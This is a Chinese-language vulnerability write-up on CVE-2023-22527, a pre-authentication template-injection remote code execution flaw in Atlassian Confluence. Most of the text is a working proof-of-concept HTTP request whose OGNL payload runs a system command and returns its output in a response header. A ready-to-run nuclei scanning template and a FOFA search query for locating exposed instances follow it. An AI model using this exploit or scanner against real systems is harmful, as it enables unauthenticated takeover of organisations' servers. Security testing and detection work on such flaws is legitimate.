产品简介
Atlassian Confluence 是一款由Atlassian开发的企业团队协作和知识管理软件,提供了一个集中化的平台,用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。是面向大型企业和组织的高可用性、可扩展性和高性能版本。
0x02 漏洞概述
Atlassian Confluence /template/aui/text-inline.vm接口处存在velocity模板注入,未经身份验证的攻击者可利用此漏洞构造恶意请求远程代码执行,可导致服务器失陷。

0x04 漏洞复现
漏洞POC
- POST /template/aui/text-inline.vm HTTP/1.1
- Host: 192.168.0.70:8090
- Accept-Encoding: gzip, deflate, br
- Accept: */*
- Accept-Language: en-US;q=0.9,en;q=0.8
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

nuclei POC
- id: AtlassianConfluenceRCE-CVE-2023-22527
- info:
- name: CVE-2023-22527
- author: xxx
- severity: info
- description: description
- reference:
- - https://wiki.agora.ru/
- metadata:
- fofa-query: app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
- tags: confluence
- requests:
- - raw:
- - "POST /template/aui/text-inline.vm HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding:\
- \ gzip, deflate\nAccept: */*\nAccept-Language: en-US;q=0.9,en;q=0.8\nUser-Agent:\
- \ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\
- \ Gecko) Chrome/119.0.6045.159 Safari/537.36\nConnection: close\nContent-Type:\
- \ application/x-www-form-urlencoded\nContent-Length: 288\n\nlabel=\\u0027%2b#request\\\
- u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\\
- u0027).findValue(#parameters.x,{})%2b\\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new\
- \ freemarker.template.utility.Execute()).exec({\"id\"})) "
- matchers-condition: and
- matchers:
- - type: dsl
- dsl:
- - contains(all_headers,"X-Cmd-Response") && status_code==200

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